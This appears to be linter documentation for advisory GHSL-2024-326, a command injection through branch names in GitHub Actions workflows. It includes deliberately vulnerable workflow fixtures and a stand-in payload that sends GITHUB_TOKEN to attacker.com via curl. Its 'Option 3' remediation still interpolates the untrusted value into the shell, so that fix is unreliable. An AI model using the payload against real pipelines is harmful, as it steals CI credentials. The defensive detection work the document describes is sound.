GHSL-2024-326: Code Injection via Branch Name

GHSL-2024-326: Code Injection via Branch Name #

Summary #

ItemValue
Advisory IDGHSL-2024-326
SeverityCritical
Affected ComponentActual (visual regression testing tool)
CVEN/A
CWECWE-78 (Improper Neutralization of Special Elements used in an OS Command)
Referencehttps://securitylab.github.com/advisories/GHSL-2024-325_GHSL-2024-326_Actual/

Vulnerability Description #

GHSL-2024-326 is a code injection vulnerability that occurs when untrusted input (such as a branch name) is directly interpolated into shell commands in GitHub Actions workflows.

An attacker can craft a malicious branch name containing shell metacharacters that execute arbitrary commands when the workflow runs.

Attack Vector #

sequenceDiagram
    participant Attacker
    participant GitHub
    participant Workflow

    Attacker->>GitHub: Create branch named "$(curl attacker.com/exfil?token=$GITHUB_TOKEN)"
    Attacker->>GitHub: Open PR from malicious branch
    Attacker->>GitHub: Trigger workflow via comment
    GitHub->>Workflow: Execute workflow
    Workflow->>Workflow: Interpolate branch name into shell command
    Workflow->>Attacker: Token exfiltrated via curl

Vulnerable Code Patterns #

Pattern 1: Direct GitHub Event Context #

name: Code Injection Test

on:
  issue_comment:
    types: [created]

jobs:
  test:
    if: github.event.issue.pull_request
    runs-on: ubuntu-latest
    steps:
      # VULNERABLE: Direct interpolation of untrusted input
      - name: Push with PR title
        run: |
          echo "Processing: ${{ github.event.issue.title }}"
          git push origin HEAD:${{ github.event.pull_request.head.ref }}

Pattern 2: Tainted Step Outputs via Known Actions #

name: Code Injection via Known Action

on:
  issue_comment:
    types: [created]

jobs:
  test:
    if: github.event.issue.pull_request
    runs-on: ubuntu-latest
    steps:
      # Known tainted action - outputs come from untrusted PR
      - name: Get PR branch
        id: comment-branch
        uses: xt0rted/pull-request-comment-branch@v2

      # VULNERABLE: Tainted output used in shell command
      - name: Push changes
        run: |
          git push origin HEAD:${{ steps.comment-branch.outputs.head_ref }}

Pattern 3: Manual Taint via github-script #

steps:
  - name: Get PR branch info
    id: comment-branch
    uses: actions/github-script@v7
    with:
      script: |
        const pr = await github.rest.pulls.get({...});
        core.setOutput('head_ref', pr.data.head.ref);  # Tainted output

  # VULNERABLE: Using tainted step output
  - name: Push changes
    run: |
      git push origin HEAD:${{ steps.comment-branch.outputs.head_ref }}

sisakulint Detection #

sisakulint detects this vulnerability pattern with multiple rules:

1. code-injection-critical #

script/actions/ghsl-2024-326-direct.yaml:17:32: code injection (critical):
"github.event.issue.title" is potentially untrusted and used in a workflow with
privileged triggers. Avoid using it directly in inline scripts. Instead, pass it
through an environment variable. [code-injection-critical]

2. Taint Tracking for Known Actions #

script/actions/ghsl-2024-326-known-action.yaml:22:35: code injection (critical):
"steps.comment-branch.outputs.head_ref (tainted via github.event.pull_request.head.ref
(via action))" is potentially untrusted and used in a workflow with privileged triggers.
[code-injection-critical]

sisakulint tracks taint propagation through known actions like:

  • xt0rted/pull-request-comment-branch
  • actions/github-script (when outputting PR data)

3. argument-injection-critical #

script/actions/ghsl-2024-326-direct.yaml:18:35: argument injection (critical):
"github.event.pull_request.head.ref" is potentially untrusted and used as
command-line argument to 'git' in a workflow with privileged triggers.
[argument-injection-critical]

4. dangerous-triggers-critical #

script/actions/ghsl-2024-326-direct.yaml:6:3: dangerous trigger (critical):
workflow uses privileged trigger(s) [issue_comment] without any security mitigations.
[dangerous-triggers-critical]

Untrusted Inputs #

The following GitHub context variables are considered untrusted when coming from external contributors:

ContextRisk LevelExample Attack
github.event.pull_request.head.refCritical$(curl attacker.com)
github.event.pull_request.titleCritical"; malicious-command #
github.event.issue.titleCriticalShell injection payloads
github.event.issue.bodyCriticalMulti-line injection
github.event.comment.bodyCriticalCommand injection
steps.*.outputs.* (from tainted actions)CriticalPropagated taint

Remediation #

- name: Push changes
  env:
    HEAD_REF: ${{ steps.comment-branch.outputs.head_ref }}
  run: |
    # Validate the ref first
    if [[ ! "$HEAD_REF" =~ ^[a-zA-Z0-9/_.-]+$ ]]; then
      echo "Invalid branch name"
      exit 1
    fi
    git push origin HEAD:"$HEAD_REF"

Option 2: Use Intermediate Actions #

- name: Push changes
  uses: ad-m/github-push-action@v0.6.0
  with:
    branch: ${{ steps.comment-branch.outputs.head_ref }}

Option 3: Input Validation #

- name: Validate branch name
  run: |
    BRANCH="${{ steps.comment-branch.outputs.head_ref }}"
    if [[ "$BRANCH" =~ [^a-zA-Z0-9/_.-] ]]; then
      echo "::error::Invalid characters in branch name"
      exit 1
    fi

Test Files #

  • Direct injection: script/actions/ghsl/ghsl-2024-326-direct.yaml
  • Known action taint: script/actions/ghsl/ghsl-2024-326-known-action.yaml
  • Combined pattern: script/actions/ghsl/ghsl-2024-325-326.yaml

References #